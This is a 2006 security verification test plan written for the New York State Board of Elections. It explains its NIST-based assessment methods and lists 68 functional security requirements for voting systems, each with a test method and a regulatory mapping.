



**New York State Voting Project
Security Verification Testing
Security Requirements Test Plan**

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Prepared For:

New York State Board of Elections (BOE)

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REVISION HISTORY

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09/30/2006	V4.0	Incorporation of NYSTEC comments; Separation of requirements into VVSG categories More granular separation of NIST requirements from VVSG Volume 1 Section 7	Carolyn Ryll, CISSP CIBER's Global Security Practice
10/19/2006	V5.0	Incorporation of additional requirements Modification of "Test Matrix" to "Test Plan" Inclusion of Test Methods	Carolyn Ryll, CISSP CIBER's Global Security Practice
11/13/2006	V5.1	Inclusion of Source Code high-level Test Procedures	Carolyn Ryll, CISSP CIBER's Global Security Practice

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INTRODUCTION

BACKGROUND

New York State

Before voting equipment may be sold in New York State (NYS), it must be examined by the New York State Board of Elections (NYSBOE). The examination shall include a thorough review and testing of all electronic, computerized, and physical security features on a voting system. The contractor CIBER will work closely with the staff of the NYSBOE in all phases of the examination. In executing this work, CIBER will also be required to interact with the New York State Technology Enterprise Corporation (NYSTEC) who has been contracted by NYSBOE to perform certain independent oversight functions related to planning and execution of the voting equipment tests.

CIBER's Global Security Practice

CIBER's Global Security Practice focuses exclusively on information security. Our professional staff designs, implements, and manages security solutions for critical information systems in a wide range of commercial and Federal environments. Since 1992, organizations desiring superior security engineering and consulting services have turned to CIBER Security to fulfill their information security needs.

OVERVIEW AND APPROACH

The CIBER Security and NYSTEC teams are tasked with performing a combination of testing and analysis of thirteen different vendor-supplied voting systems to verify security of the controls. The testing is structured to identify and evaluate as much potential vulnerability or compliance as is feasible within a reasonable level of effort.

The CIBER Security approach to this engagement is comprised of three phases designed to provide a comprehensive, yet cost-effective evaluation of the voting systems' technical security posture:

- 1. Security Test Planning**

During this phase, a comprehensive security test plan is developed against the NY State

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requirements, Voluntary Voting System Guidelines, guidelines of the Help America Vote Act (HAVA), 2006 NY Election Law, NIST 800-37 “Guide for the Security Certification and Accreditation of Federal Information Systems”, NIST 800-53 “Recommended Security Controls for Federal Information Systems”, and NIST 800-53A “Guide for Assessing the Security Controls in Federal Information Systems. This test plan is located within this document. This includes creation of a security requirements traceability plan, selection of test methods, and development of security code review test procedures. Definition of the test schedule and identification of prerequisites for testing activities also occurs in this phase.

2. **Security Testing**

During this phase, the presence and effectiveness of technical and non-technical security controls of the systems are verified against the above-mentioned requirements and guidelines to ensure that system requirements are satisfied and that the system provides the desired level of assurance. This involves executing each of the tests listed in this document and recording the results.

3. **Security Test Reporting**

During this phase, a report is prepared that covers all security testing results. The basis of the report will be that which is contained in this document that includes testing results (Compliant, Partially Compliant, or Non-Compliant) for each of the requirements tested. The report will contain a text summary of all testing, test plans, test results and analysis, and a detailed review of non-test (e.g., demonstrations, observations, inspections/examinations) activities. Attachments will be added as necessary for technical and amplifying data.

The scoring of each system’s compliance with individual security requirements will be rated Pass, Partial, Fail, or Not Applicable (N/A) as appropriate. When a security system feature is not present where it could be used to enhance the security of the device, or where adding the additional security feature would have no positive effect on the security of the system, the element will be given the rating “N/A”.

SECURITY TASK EXCLUSIONS

For purposes of evaluating a voting system that is provided by a vendor, certain elements of security are not under control of the vendor and shall not be addressed in this security testing specification.

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Per Volume I of the 2005 Voluntary Voting System Guidelines, section 7.1.1 “Elements of Security Outside Vendor Control”, these practices include:

- Administrative and management controls for the voting system and election management – including access controls (Note: For purposes of this specification, we will refer to this access control as “physical access control” and not as access control that allows or denies functionality of the system as provided by the vendor.)
- Internal security procedures
- Adherence to, and enforcement of, operational procedures (e.g., effective password management)
- Security of physical facilities
- Organizational responsibilities and personnel screening

Additionally, where certain Security Requirements are already covered under the New York State Voting System Qualification Master Test Plan, they have been placed in that document for reference, but the Security Master Test Plan shall take precedence.

NEW YORK STATE VOTING SECURITY TEST REQUIREMENTS

SELECTION OF TEST METHODS

For each item in this test plan, CIBER Security will evaluate the available testing techniques to select the most effective method or methods for each item. Test methods per NIST Special Publication 800-53A “Guide for Assessing the Security Controls of Federal Information Systems” are defined as:

- **Interview**
The interview method of assessment is the process of conducting focused discussions with individuals or groups of individuals within an organization to facilitate assessor understanding, achieve clarification, or obtain evidence. Assessment objects are individuals or groups of individuals. Attributes are Depth and Coverage (see below for more on Attributes).

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- The Interview *Depth* Attribute addresses the rigor and level of detail in the interview process, for which there are three possible values: Generalized; Focused, and Comprehensive.
 - Generalized interviews consist of broad, high-level discussions with selected organizational personnel on particular topics relating to the security controls being assessed. This is typically conducted using a set of generalized, high-level questions and is intended to capture a broad, general understanding of the fundamental concepts associated with specifications, mechanisms, or activities.
 - Focused interviews consist of broad, high-level discussions and more detailed discussions in specific areas with selected organizational personnel on particular topics relating to the security controls being assessed. This is typically conducted using a set of generalized, high-level questions and a set of more detailed questions in specific areas where responses indicate a need for more detailed investigation and is intended to capture the specific understanding of the fundamental concepts associated with specifications, mechanisms, or activities.
 - Comprehensive interviews consist of broad, high-level discussions and more detailed, probing discussions in specific areas with selected organizational personnel on particular topics relating to the security controls being assessed (including the results of other assessment methods). This is typically conducted using a set of generalized, high-level questions and a set of more detailed, probing questions in specific areas where responses indicate a need for more detailed investigation or where assessment evidence allows and is intended to capture the specific understanding of the fundamental concepts and implementation details associated with specifications, mechanisms, or activities.
- The Interview *Coverage* Attribute addresses the categories of individuals to be interviewed (by organizational roles and responsibilities) and the number of individuals to be interviewed (by category).
- **Examine**

The examine method of assessment is the process of reviewing, inspecting, observing, studying, or analyzing one or more assessment objects (I.e., specifications, mechanisms, or activities). Similar to the interview method, the primary purpose of the examine method is to facilitate assessor understanding, achieve clarification, or obtain evidence. Assessment objects are Specifications (e.g.,

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policies, plans, procedures, system requirements, designs, TDPs (vendor Technical Data Packages)); Mechanisms (e.g., hardware, software, firmware); and Activities (e.g., system operations/administration/management, exercises, drills). Attributes are Depth and Coverage.

- The Examine *Depth* Attribute addresses the rigor and level of detail in the examination process, for which there are three possible values: Generalized; Focused; and Comprehensive.
 - Generalized examinations consist of brief, high-level reviews, observations, or inspections of security controls using a limited body of evidence or documentation. These are typically conducted using functional-level descriptions of specifications, mechanisms, or activities.
 - Focused examinations consist of detailed analyses of security controls using a substantial body of evidence or documentation. These types of examinations are typically conducted using functional-level descriptions of specification, mechanisms, or activities, and where appropriate, high-level design information.
 - Comprehensive examinations consist of detailed and thorough analyses of security controls using an extensive body of evidence or documentation. These are typically conducted using functional-level descriptions of specifications, mechanisms, or activities, and where appropriate, high-level design, low-level design, and implementation-related information (e.g., source code).
- The Examine *Coverage* Attribute addresses the categories of specifications, mechanisms, or activities to be examined and the number of specifications, mechanisms, or activities to be examined (by category).
- **Test**

The test method of assessment is the process of exercising one or more assessment objects (limited to activities or mechanisms) under specified conditions to compare actual with expected behavior. Assessment objects are Mechanisms (e.g., hardware, software, firmware); and Activities (e.g., system operations/administration/management, exercise, drills).
- The Test *Type* Attribute addresses the types of testing to be conducted, for which there are three possible values: Functional testing; Penetration testing; and Structural testing.

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- Functional Testing is a test methodology that assumes knowledge of the functional specifications, high-level design, and operating specifications of the item under assessment (also known as “black box” testing).
 - Penetration Testing is a test methodology in which assessors, using all available documentation (e.g., system design, source code, manuals) and working under specific constraints, attempt to circumvent the security features of an information system.
 - Structural Testing is a test methodology that assumes (some) explicit knowledge of the internal structure of the item under assessment (e.g., low-level design, source code implementation representation). (Also known as “gray box” or “white box” testing.)”
- The Test *Coverage* Attribute addresses the categories of mechanisms or activities to be tested and the number of mechanisms or activities to be tested (by category). For mechanism-related testing that involves software, the coverage attribute also addresses the extent of the testing conducted (e.g., number of test cases, number of modules tested, etc.)

In all three cases (I.e., interview, examine, and test) where the assessment methods are employed, the results are used to support the determination of overall security control effectiveness.

The assessment method attributes and attribute values will test by the following information system impact level:

- The security control is in effect and meets explicitly identified functional requirements in the control statement. The focus is on ensuring correct implementation and operation of the control. Comprehensive interviews and examinations are conducted. Functional, structural, and penetration testing are employed to ensure that there are no obvious errors in the security control, that the security control is implemented correctly, and operating as intended.

FUNCTIONAL SECURITY REQUIREMENTS

This section contains requirements detailing the functional security-related capabilities required of a voting system. This section sets out precisely what a voting system is required to do. It sets forth the minimum actions a voting system must be able to perform.

Req #	1.1	Test Method	<i>Functional: Penetration Test</i>
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Mapping	VVSG Volume 1 Section 2 (2.1.1.a)		
Requirement Description	The system shall provide security access controls that limit or detect access to critical system components to guard against loss of system integrity, availability, confidentiality, and accountability.		
Documented Dependencies		Additional Notes	
Req #	1.2	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 2 (2.1.1.b)		
Requirement Description	The system provides system functions that are executable only in the intended manner and order, and only under the intended conditions.		
Documented Dependencies		Additional Notes	
Req #	1.3	Test Method	<i>Functional: Structural Test</i>
Mapping	VVSG Volume 1 Section 2 (2.1.1.c)		
Requirement Description	The system uses the system's control logic to prevent a system function from executing if any preconditions to the function have not been met.		
Documented Dependencies		Additional Notes	
Req #	1.4	Test Method	<i>Functional: Penetration Test</i>
Mapping	VVSG Volume 1 Section 2 (2.1.1.d)		
Requirement Description	The system provides safeguards in response to system failure to protect against tampering during system repair or interventions in system operations.		
Documented Dependencies		Additional Notes	
Req #	1.5	Test Method	<i>Functional: Penetration Test</i>

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Mapping	VVSG Volume 1 Section 2 (2.1.1.e)		
Requirement Description	The system provides security provisions that are compatible with the procedures and administrative tasks involved in equipment preparation, testing, and operation.		
Documented Dependencies		Additional Notes	
Req #	1.6	Test Method	<i>Functional: Penetration Test</i>
Mapping	VVSG Volume 1 Section 2 (2.1.1.f)		
Requirement Description	The system incorporates a means of implementing a capability if access to a system function is to be restricted or controlled.		
Documented Dependencies		Additional Notes	<i>A technical capability that restricts or controls access</i>
Req #	1.7	Test Method	<i>Functional: Generalized Examine</i>
Mapping	VVSG Volume 1 Section 2 (2.1.1.g)		
Requirement Description	The system provides documentation of mandatory administrative procedures for effective system security.		
Documented Dependencies	Vendor documentation	Additional Notes	
Req #	1.8	Test Method	<i>Functional: Penetration Test</i>
Mapping	VVSG Volume 1 Section 2 (2.1.4.f)		
Requirement Description	Integrity measures ensure the physical stability and function of the vote recording and counting processes. To ensure system integrity, all systems shall protect against any attempt at improper data entry or retrieval.		
Documented Dependencies		Additional Notes	

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Req #	1.9	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 2 (2.1.4.g)		
Requirement Description	Integrity measures ensure the physical stability and function of the vote recording and counting processes. To ensure system integrity, all systems shall record and report the date and time of normal and abnormal events		
Documented Dependencies		Additional Notes	
<hr/>			
Req #	1.10	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 2 (2.1.4.h)		
Requirement Description	Integrity measures ensure the physical stability and function of the vote recording and counting processes. To ensure system integrity, all systems shall maintain a permanent record of all original audit data that cannot be modified or overridden but may be augmented by designated authorized officials in order to adjust for errors or omissions (e.g., during the canvassing process).		
Documented Dependencies		Additional Notes	
<hr/>			
Req #	1.11	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 2 (2.1.4.i)		
Requirement Description	Integrity measures ensure the physical stability and function of the vote recording and counting processes. To ensure system integrity, all systems shall detect and record every event, including the occurrence of an error condition that the system cannot overcome, and time-dependent or programmed events that occur without the intervention of the voter or a polling place operator.		
Documented		Additional Notes	

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Dependencies			
Req #	1.12	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 2 (2.1.5.1.a.i); HAVA 2002		
Requirement Description	The system provides for the capability to create and maintain a real-time audit record.		
Documented Dependencies		Additional Notes	
Req #	1.13	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 2 (2.1.5.1.a.ii); NIST SP800-53 AU-8(1)		
Requirement Description	The system maintains an absolute record of the time and date or a record relative to some event whose time and date are known and recorded.		
Documented Dependencies		Additional Notes	
Req #	1.14	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 2 (2.1.5.1.a.iii); NIST SP800-53 AU-8		
Requirement Description	All audit record entries include the time-and-date stamp.		
Documented Dependencies		Additional Notes	
Req #	1.15	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 2 (2.1.5.1.a.iv)		
Requirement Description	The audit record is active whenever the system is in an operating mode and is available at all times.		
Documented Dependencies		Additional Notes	<i>The audit record need not be continually visible while active.</i>

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Req #	1.16	Test Method	<i>Functional: Penetration Test</i>
Mapping	VVSG Volume 1 Section 2 (2.1.5.1.a.v); NIST SP800-53-rev1 AU-9		
Requirement Description	The generation of audit record entries cannot be terminated or altered by program control, or by the intervention of any person. The physical security and integrity of the record shall be maintained at all times.		
Documented Dependencies		Additional Notes	
Req #	1.17	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 2 (2.1.5.1.a.vi)		
Requirement Description	The system preserves the contents of the audit record during any interruption of power to the system until processing and data reporting have been completed.		
Documented Dependencies		Additional Notes	
Req #	1.18	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 2 (2.1.5.1.a.vii)		
Requirement Description	The system is capable of printing a copy of any system-generated audit record.		
Documented Dependencies		Additional Notes	<i>A separate printer is not required for the audit record, and the record may be produced on the standard system printer if all the following conditions are met: 1. The generation of audit trail records does not interfere with the production of output reports. 2. The entries can be identified so as to facilitate their recognition, segregation, and</i>

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			<i>retention. 3. The audit record entries are kept physically secure.</i>
Req #	1.19	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 2 (2.1.5.1.b.i *)		
Requirement Description	The voting system shall generate, store, and report to the user all <i>security-related</i> error messages as they occur. *		
Documented Dependencies		Additional Notes	<i>* "Security-related" added for specificity to the testing of this requirement.</i>
Req #	1.20	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 2 (2.1.5.2(2))		
Requirement Description	Authentication shall be configured on the local terminal (display screen and keyboard) and on all external connection devices ("network cards" and "ports").		
Documented Dependencies		Additional Notes	<i>Operating system procedures This ensures that only authorized and identified users affect the system while election software is running.</i>
Req #	1.21	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 2 (2.1.5.2(3))		
Requirement Description	Operating system audit shall be enabled for all session openings and closings, for all connection openings and closings, for all process executions and terminations, and for the alteration or deletion of any memory or file object.		
Documented Dependencies		Additional Notes	<i>Operating system procedures This ensures the existence of an audit record</i>

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			<i>of any person or process altering or deleting system data or election data.</i>
Req #	1.22	Test Method	<i>Functional: Structural Test</i>
Mapping	VVSG Volume 1 Section 2 (2.1.5.2(4))		
Requirement Description	The system shall be configured to execute only intended and necessary processes during the execution of election software. The system shall also be configured to halt election software processes upon the termination of any critical system process (such as system audit) during the execution of election software.		
Documented Dependencies		Additional Notes	<i>Operating system procedures</i>
Req #	1.23	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 2 (2.1.8.c *)		
Requirement Description	If the voting system tabulates ballots through provision of a counter, controls are in place <i>and effective</i> to prevent the increase of count except by the input of a ballot. *		
Documented Dependencies		Additional Notes	<i>* “and effective” added for testing specificity</i>
Req #	1.24	Test Method	<i>Functional: Penetration Test</i>
Mapping	VVSG Volume 1 Section 2 (2.1.8.d *)		
Requirement Description	If the voting system tabulates ballots through provision of a counter, controls are in place <i>and effective</i> to prevent the resetting of the counter by any person other than authorized persons at authorized points. *		
Documented Dependencies		Additional Notes	<i>* “and effective” added for testing specificity.</i>

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Req #	1.25	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 2 (2.3.1.2)		
Requirement Description	All paper-based systems shall include secure receptacles for holding voted ballots.		
Documented Dependencies		Additional Notes	
Req #	1.26	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 2 (2.3.1.3)		
Requirement Description	All DRE systems shall include a security seal, a password, or a data code recognition capability to prevent the inadvertent or unauthorized actuation of the poll-opening function.		
Documented Dependencies		Additional Notes	
Req #	1.27	Test Method	<i>Functional: Penetration Test</i>
Mapping	VVSG Volume 1 Section 2 (2.3.2.a)		
Requirement Description	To activate the ballot, all DRE systems shall enable election officials to control the content of the ballot presented to the voter, whether presented in printed form or electronic display, such that each voter is permitted to record votes only in contests in which that voter is authorized to vote.		
Documented Dependencies		Additional Notes	
Req #	1.28	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 2 (2.3.2.c)		
Requirement Description	To activate the ballot, all DRE systems shall Prevent a voter from voting on a ballot to which he or she is not entitled.		
Documented		Additional Notes	

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Dependencies			
Req #	1.29	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 2 (2.3.2.d)		
Requirement Description	To activate the ballot, all DRE systems shall prevent a voter from casting more than one ballot in the same election.		
Documented Dependencies		Additional Notes	
Req #	1.30	Test Method	<i>Functional: Penetration Test</i>
Mapping	VVSG Volume 1 Section 2 (2.3.2.h)		
Requirement Description	To activate the ballot, all DRE systems shall disable all portions of the ballot upon which the voter is not entitled to vote.		
Documented Dependencies		Additional Notes	
Req #	1.31	Test Method	<i>Functional: Penetration Test</i>
Mapping	VVSG Volume 1 Section 2 (2.3.3.1.b *)		
Requirement Description	All systems shall protect the secrecy of the vote such that the system cannot reveal any information about how a particular voter voted, except as otherwise required by <i>New York</i> state law. *		
Documented Dependencies		Additional Notes	* <i>“individual” replaced with “New York”</i>
Req #	1.32	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 2 (2.3.3.1.e *)		
Requirement Description	To facilitate casting a ballot, all systems shall in the event of a failure of the main power supply external to the voting system, provide the capability for any voter who is voting at the time to complete casting a ballot, allow for the successful shutdown of the		

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	voting system without loss or degradation of the voting and audit data, and allow voters to resume voting once the voting system has reverted to back-up power.		
Documented Dependencies		Additional Notes	
Req #	1.33	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 2 (2.3.3.2.d)		
Requirement Description	All paper-based systems shall protect the secrecy of the vote throughout the process.		
Documented Dependencies		Additional Notes	
Req #	1.34	Test Method	<i>Functional: Penetration Test</i>
Mapping	VVSG Volume 1 Section 2 (2.3.3.3.a)		
Requirement Description	DRE systems shall prohibit the voter from accessing or viewing any information on the display screen that has not been authorized by election officials and preprogrammed into the voting system (I.e., no potential for display of external information or linking to other information sources.)		
Documented Dependencies		Additional Notes	
Req #	1.35	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 2 (2.3.3.3.o)		
Requirement Description	DRE systems shall ensure that the votes stored accurately represent the actual votes cast.		
Documented Dependencies		Additional Notes	
Req #	1.36	Test Method	<i>Functional: Penetration Test</i>
Mapping	VVSG Volume 1 Section 2 (2.3.3.3.p)		

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Requirement Description	DRE systems shall prevent modification of the voter's vote after the ballot is cast.		
Documented Dependencies		Additional Notes	
Req #	1.37	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 2 (2.3.3.3.r)		
Requirement Description	DRE systems shall increment the proper ballot position registers or counters.		
Documented Dependencies		Additional Notes	
Req #	1.38	Test Method	<i>Functional: Penetration Test</i>
Mapping	VVSG Volume 1 Section 2 (2.3.3.3.s)		
Requirement Description	DRE systems shall protect the secrecy of the vote throughout the voting process.		
Documented Dependencies		Additional Notes	
Req #	1.39	Test Method	<i>Functional: Penetration Test</i>
Mapping	VVSG Volume 1 Section 2 (2.3.3.3.t)		
Requirement Description	DRE systems shall prohibit access to voted ballots until after the close of polls.		
Documented Dependencies		Additional Notes	
Req #	1.40	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 2 (2.3.3.3.u)		
Requirement Description	DRE systems shall provide the ability for election officials to submit test ballots for use in verifying the end-to-end integrity of the voting system.		
Documented Dependencies		Additional Notes	

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Req #	1.41	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 2 (2.3.3.3.v)		
Requirement Description	DRE systems shall isolate test ballots such that they are accounted for accurately in vote counts and are not reflected in official vote counts for specific candidates or measures.		
Documented Dependencies		Additional Notes	
<hr/>			
Req #	1.42	Test Method	<i>Functional: Penetration Test</i>
Mapping	VVSG Volume 1 Section 2 (2.4.1.a)		
Requirement Description	The voting system shall provide the means for preventing the further casting of ballots once the polls have closed.		
Documented Dependencies		Additional Notes	
<hr/>			
Req #	1.43	Test Method	<i>Functional: Penetration Test</i>
Mapping	VVSG Volume 1 Section 2 (2.4.1.e)		
Requirement Description	The voting system shall provide the means for precluding the unauthorized reopening of the polls once the poll closing has been completed for that election.		
Documented Dependencies		Additional Notes	
<hr/>			
Req #	1.44	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 2 (2.4.3.f)		
Requirement Description	All systems shall provide capabilities to produce all system audit information required in Subsection 5.4 in the form of printed reports, or in electronic memory for printing centrally.		
Documented Dependencies		Additional Notes	

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Req #	1.45	Test Method	<i>Functional: Functional Test</i>
Mapping	VVSG Volume 1 Section 2 (2.4.3.g)		
Requirement Description	All systems shall provide capabilities to prevent data from being altered or destroyed by report generation.		
Documented Dependencies		Additional Notes	
Req #	1.46	Test Method	<i>Functional: Penetration Test</i>
Mapping	VVSG Volume 1 Section 2 (2.4.3.h)		
Requirement Description	All precinct count voting systems shall prevent the printing of reports and the unauthorized extraction of data to the official close of the polls.		
Documented Dependencies		Additional Notes	
Req #	1.47	Test Method	<i>Functional: Penetration Test</i>
Mapping	VVSG Volume 1 Section 2 (2.4.3.k)		
Requirement Description	All precinct count voting systems shall prevent data in transportable memory from being altered or destroyed by report generation.		
Documented Dependencies		Additional Notes	
Req #	1.48	Test Method	<i>Functional: Penetration Test</i>
Mapping	NYS 6209 Regulations 6209.2.F.9.a		
Requirement Description	The voter's privacy and anonymity shall be preserved during the process of recording, verifying, and auditing ballot choices. The privacy and anonymity of the voter's verification of ballot choices and the creation and storage of these choices, both electronically and on		

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	paper record, shall be maintained.		
Documented Dependencies		Additional Notes	
Req #	1.49	Test Method	<i>Functional: Penetration Test</i>
Mapping	NYS 6209 Regulations 6209.2.F.9.b		
Requirement Description	<p>The voter's privacy and anonymity shall be preserved during the process of recording, verifying, and auditing ballot choices.</p> <p>The privacy and anonymity of voters whose paper records contain any of the alternative languages chosen for making ballots selections shall be maintained.</p>		
Documented Dependencies		Additional Notes	
Req #	1.50	Test Method	<i>Functional: Penetration Test</i>
Mapping	NYS 6209 Regulations 6209.2.F.9.c		
Requirement Description	<p>The voter's privacy and anonymity shall be preserved during the process of recording, verifying, and auditing ballot choices.</p> <p>Information for the purposes of auditing the electronic or paper records that may permit a voter to reveal his or her ballot choices shall be displayed so as not to be memorable to the voter.</p>		
Documented Dependencies		Additional Notes	
Req #	1.51	Test Method	<i>Functional: Functional Test</i>
Mapping	NYS 6209 Regulations 6209.2.F.10.b		
Requirement Description	The voting system's ballot records shall be structured and contain information so as to support		

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	highly precise audits of their accuracy. This information shall contain, but not be limited to, the voting site/election district, type of election, ballot style, and whether the system is operating in “test” mode.		
Documented Dependencies		Additional Notes	
Req #	1.52	Test Method	<i>Functional: Structural Test</i>
Mapping	NYS 6209 Regulations 6209.2.F.11		
Requirement Description	In the case of a DRE voting system, the electronic and paper records shall be linked by including a unique identifier within each record that can be used to identify each record uniquely and correspond the two accordingly.		
Documented Dependencies		Additional Notes	
Req #	1.53	Test Method	<i>Functional: Functional Test</i>
Mapping	NYS 6209 Regulations 6209.2.F.13.a		
Requirement Description	The electronic records shall be able to be exported for auditing or analysis on standards-based and/or information technology computing platforms. The exported electronic records shall be in an open, non-proprietary format.		
Documented Dependencies		Additional Notes	
Req #	1.54	Test Method	<i>Functional: Functional Test</i>
Mapping	NYS 6209 Regulations 6209.2.F.13.b		
Requirement Description	The electronic records shall be able to be exported for auditing or analysis on standards-based and/or		

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	information technology computing platforms. The voting system shall export the records accompanied by a digital signature of the collection of records, which shall be calculated on the entire set of electronic records and their associated digital signatures.		
Documented Dependencies		Additional Notes	
Req #	1.55	Test Method	<i>Functional: Functional Test</i>
Mapping	NYS 6209 Regulations 6209.2.F.13.c		
Requirement Description	The electronic records shall be able to be exported for auditing or analysis on standards-based and/or information technology computing platforms. The voting system vendor shall provide documentation as to the structure of the exported records and how they shall be read and processed by software.		
Documented Dependencies		Additional Notes	
Req #	1.56	Test Method	<i>Functional: Functional Test</i>
Mapping	NYS 6209 Regulations 6209.2.F.13.d		
Requirement Description	The electronic records shall be able to be exported for auditing or analysis on standards-based and/or information technology computing platforms. The vendor shall provide a software program that will display the exported records and such software may include other capabilities, such as providing vote tallies and indications of under-votes.		
Documented Dependencies		Additional Notes	

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Req #	1.57	Test Method	<i>Functional: Functional Test and Generalized Examine</i>
Mapping	NYS 6209 Regulations 6209.6.E.4		
Requirement Description	Each system shall be submitted for electronic and technical security and integrity analysis by independent certified security experts, who shall be given full unrestricted access to production units of the system, for such analysis. Whenever the vendor is able to provide documentation for the State Board and its testing authority, to establish that the standards of this section of these regulations have been met; then the State Board may, in its discretion, accept such documentation as satisfaction of the tests required by these regulations.		
Documented Dependencies	Vendor documentation	Additional Notes	<i>Requirement tests for existence of this documentation, and full unrestricted access to production units of the system.</i>
Req #	1.58	Test Method	<i>Functional: Generalized Examine</i>
Mapping	NYS 6209 Regulations 6209.6.F.3 a through j and l		
Requirement Description	The Software Specification contains: a). System Overview b). Program Description c). Standards and Conventions d). Specification Standards and Conventions e). Test and Verification Standards f). Quality Assurance Standards g). Operating Environment h). Hardware Constraints i). Software Environment j). Interface Characteristics l). Configurations and Operating Modes		
Documented	Software specification	Additional Notes	

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Dependencies			
Req #	1.59	Test Method	<i>Functional: Focused Examine</i>
Mapping	NYS 6209 Regulations 6209.6.F.3.m		
Requirement Description	The Software Specification contains External files. In the event that external files are used for data input or output, the definition of information context and record formats shall be provided. The vendor shall also describe the procedures for file maintenance, access privileges, and security.		
Documented Dependencies	Software specification	Additional Notes	
Req #	1.60	Test Method	<i>Functional: Comprehensive Examine</i>
Mapping	NYS 6209 Regulations 6209.6.F.3.n		
Requirement Description	The Software Specification contains a section on Security. Security requirements and security provisions of the system's software shall be identified for each system function and operating mode. The voting system must be secure against attempts to interfere with correct system operation. The vendor shall identify each potential point of attack. For each potential point of attack, the vendor shall identify the technical safeguards embodied in the voting system to defend against attack, and the procedural safeguards that the vendor has recommended be followed by the 23 election administrators to further defend against that attack. Each defense shall be classified as preventative, if it prevents the attack in the first place; detective if it allows detection of an attack; or corrective if it allows correction of the damage done by an attack. Security requirements and provisions shall include the ability of the system to detect, prevent, log and recover from the broad range of security risks		

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	identified. These procedures shall also examine system capabilities and safeguards claimed by the vendor to prevent interference with correct system operations. The State Board, with the assistance of its ITA, shall conduct tests to confirm that the security requirements of these Regulations have been completely addressed. Notwithstanding any other provisions of these Regulations, the State Board shall determine whether all or a portion of such security requirements and security provisions shall be available for public inspection, but shall exclude any information which compromises the security of the voting system		
Documented Dependencies	Software specification	Additional Notes	
Req #	1.61	Test Method	<i>Functional: Comprehensive Examine</i>
Mapping	NYS 6209 Regulations 6209.6.F.3.o		
Requirement Description	The Software Specification contains Programming Specifications. The vendor shall provide an overview of the software design, structure and implementation algorithms. ... this section should be prepared so as to facilitate understanding of the internal functioning of the individual software modules. Implementation of functions shall be described in terms of software architecture, algorithms and data structures and all procedures or procedure interfaces which are vulnerable to degradation in data quality or security penetration shall be identified		
Documented Dependencies	Software specification	Additional Notes	
Req #	1.62	Test Method	<i>Functional: Comprehensive Examine</i>
Mapping	NYS 6209 Regulations 6209.6.F.3.p		

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Requirement Description	The Software Specification contains Test and Verification Specifications. The vendor shall provide a description of the procedures used during software development to verify logical correctness, data quality and security. This description shall include existing standard test procedures, special purpose test procedures, test criteria and experimental design and validation criteria. In the event that this documentation is not available, the Qualification Test agency shall design test cases and procedures equivalent to those ordinarily used as a basis for verification.		
Documented Dependencies	Software specification	Additional Notes	
Req #	1.63	Test Method	<i>Functional: Generalized Examine</i>
Mapping	NYS 6209 Regulations 6209.6.F.3.s.iv		
Requirement Description	The Software Specification contains Appendices on Security Analysis.		
Documented Dependencies	Software specification	Additional Notes	
Req #	1.64	Test Method	<i>Functional: Generalized Examine</i>
Mapping	VVSG Volume 2 (2.8.7)		
Requirement Description	The vendor may provide descriptive material and data supplementing the various sections of the body of the System Operations Manual. The content and arrangement of appendices shall be at the discretion of the vendor. Topics recommended for discussion include: Manufacturer's Recommended Security Procedures: This appendix shall contain the security procedures that are to be executed by the system operator		
Documented	Vendor System Operations Manual	Additional Notes	<i>This requirement is at the discretion of the</i>

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Dependencies			<i>vendor and a recommendation.</i>
Req #	1.65	Test Method	<i>Functional: Generalized Examine</i>
Mapping	VVSG Volume 2 (2.9.6)		
Requirement Description	The vendor may provide descriptive material and data supplementing the various sections of the body of the System Maintenance Manual. The content and arrangement of appendices shall be at the discretion of the vendor. Topics recommended for amplification or treatment in appendices include: Maintenance and Security Procedures: This appendix shall contain technical illustrations and schematic representations of electronic circuits unique to the system.		
Documented Dependencies	Vendor System Maintenance Manual	Additional Notes	<i>This requirement is at the discretion of the vendor and a recommendation.</i>
Req #	1.66	Test Method	<i>Functional: Penetration Test</i>
Mapping	VVSG Volume 1 (2.2.1.2.f)		
Requirement Description	All voting systems shall provide a capability for prevention of unauthorized modification of any ballot formats.		
Documented Dependencies		Additional Notes	
Req #	1.67	Test Method	<i>Functional: Focused Examine</i>
Mapping	VVSG Volume 2 (2.2.2)		
Requirement Description	The vendor shall provide system performance information including provisions for safety, security, privacy, and continuity of operation.		
Documented Dependencies	Vendor documentation	Additional Notes	

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Req #	1.68	Test Method	<i>Functional: Functional Test</i>
Mapping	NYS 6209 Regulations 6209.10.C		
Requirement Description	Acceptance testing for voting systems shall include the comparison of software installed on the delivered system to certified software, via the use of a Secure Hash Signature Standard (SHS) validation program, contained in Federal Information Processing Standards Publication 180-2 issued by the National Institute Standards Technology.		
Documented Dependencies		Additional Notes	
<End of New York State Voting Functional Security Requirements>			

USABILITY AND ACCESSIBILITY SECURITY REQUIREMENTS

